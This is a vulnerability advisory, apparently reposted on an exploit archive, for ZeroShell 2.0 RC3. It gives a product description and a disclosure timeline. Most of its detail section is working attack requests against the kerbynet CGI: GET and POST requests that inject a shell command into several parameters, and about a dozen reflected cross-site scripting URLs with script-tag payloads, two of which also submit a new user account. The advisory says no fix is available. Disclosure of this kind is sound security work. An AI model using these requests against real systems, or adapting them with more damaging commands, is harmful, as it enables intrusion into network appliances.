ZeroShell 2.0 RC3 Command Injection / Cross Site Scripting

-----------
Author:
-----------

xistence < xistence[at]0x90[.]nl >

-------------------------
Affected products:
-------------------------

ZeroShell 2.0 RC3

-------------------------
Affected vendors:
-------------------------

ZeroShell
http://www.zeroshell.org/download/

-------------------------
Product description:
-------------------------

Zeroshell is a Linux distribution for servers and embedded devices aimed at
providing the main network services a LAN requires.
It is available in the form of Live CD or Compact Flash image and you can
configure and administer it using your web browser.
The main features of this Linux distribution for Network Appliances are
listed below:

----------
Details:
----------

ZeroShell 2.0 RC3 is prone to multiple vulnerabilities. Below are the
details.

[ 0x01 - Command Injection ]

Command injection (will show linux "uname -a" in response)

GET requests:
/cgi-bin/kerbynet?STk=INSERT-STk-TOKEN-HERE&Action=Render&Object=acctEntries&Filter=%26uname%20-a%26
/cgi-bin/kerbynet?STk=INSERT-STk-TOKEN-HERE&Section=Router&Action=CheckIPPING&IP=%26uname%20-a%26
/cgi-bin/kerbynet?STk=INSERT-STk-TOKEN-HERE&Section=Network&Action=ShowInterface&Interface=%26uname%20-a%26

POST Request:

POST /cgi-bin/kerbynet HTTP/1.1
Host: 192.168.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 156

Section=LOG&Action=Header&STk=INSERT-STk-TOKEN-HERE&Page=&Year=%26uname%20-a%26&Month=Aug&Day=14&Host=zeroshell&Process=ConnTrack&Filter=


[ 0x02 - Reflected XSS ]

/cgi-bin/kerbynet?Section=DNS&STk=INSERT-STk-TOKEN-HERE&Action=Lookup&DNS="><script>alert('XSS')</script>
/cgi-bin/kerbynet?Section=LOG&STk=INSERT-STk-TOKEN-HERE&Action=Header&Process=&Filter="%3balert('XSS')//
/cgi-bin/kerbynet?Action=Render&STk=INSERT-STk-TOKEN-HERE&Object=<script>alert('XSS')</script>&Page=1&ManSection=1
/cgi-bin/kerbynet?Action=Render&STk=INSERT-STk-TOKEN-HERE&Object=man_page&Page=</title><script>alert('XSS')</script>&ManSection=1
/cgi-bin/kerbynet?Section=LOG&STk=INSERT-STk-TOKEN-HERE&Action=Header&Process=<script>alert('XSS')</script>&Filter=
/cgi-bin/kerbynet?Section=Acct&STk=INSERT-STk-TOKEN-HERE&Action=ViewCredit&Username="><script>alert('XSS')</script>
/cgi-bin/kerbynet?Action=Lookup&STk=INSERT-STk-TOKEN-HERE&Section=DNS&What="><script>alert('XSS')</script>&DNS=localhost
/cgi-bin/kerbynet?Section=LOG&Action=Header&STk=INSERT-STk-TOKEN-HERE&Page=&Year=<script>alert('XSS')</script>&Month=Aug&Day=14&Host=zeroshell&Process=ConnTrack&Filter=
/cgi-bin/kerbynet?type="><script>alert('XSS')</script>&x509cn=woot&Action=Edit&STk=INSERT-STk-TOKEN-HERE&Section=K5&Validity=730&nbit=2048&IncludeKey=Yes&Format=pfx
/cgi-bin/kerbynet?B1=Submit&Section=User&Action=SaveAdd&STk=INSERT-STk-TOKEN-HERE&user_sel="><script>alert('XSS')</script>&type=user&x509cn=&shadowExpire=&UpdateExpire=no&uid=woot&uidNumber=1337&primaryGroup=&gidNumber=&homeDirectory=%2Fhome%2Fwoot&shell=sh&loginShell=%2Fbin%2Fsh&givenName=woot&sn=woot&o=&gecos=woot+woot&mail=&telephoneNumber=&Expiration_date_mm=&Expiration_date_dd=&Expiration_date_yyyy=&ClassName=DEFAULT&PW=wootwoot&CoPW=wootwoot&K5=yes&vlan=&WIFI=yes
/cgi-bin/kerbynet?B1=Submit&Section=User&Action=SaveAdd&STk=INSERT-STk-TOKEN-HERE&user_sel=&type=user&x509cn="><script>alert('XSS')</script>&shadowExpire=&UpdateExpire=no&uid=woot&uidNumber=1337&primaryGroup=&gidNumber=&homeDirectory=%2Fhome%2Fwoot&shell=sh&loginShell=%2Fbin%2Fsh&givenName=woot&sn=woot&o=&gecos=woot+woot&mail=&telephoneNumber=&Expiration_date_mm=&Expiration_date_dd=&Expiration_date_yyyy=&ClassName=DEFAULT&PW=wootwoot&CoPW=wootwoot&K5=yes&vlan=&WIFI=yes

-----------
Solution:
-----------

No fix available, use a good WAF :)

--------------
Timeline:
--------------

2013-09-14 Provided details to ZeroShell.
2013-09-14 Response from ZeroShell that these are not vulnerabilities...
*sigh*
2013-10-04 Public disclosure.

#  0day.today [2018-03-19]  #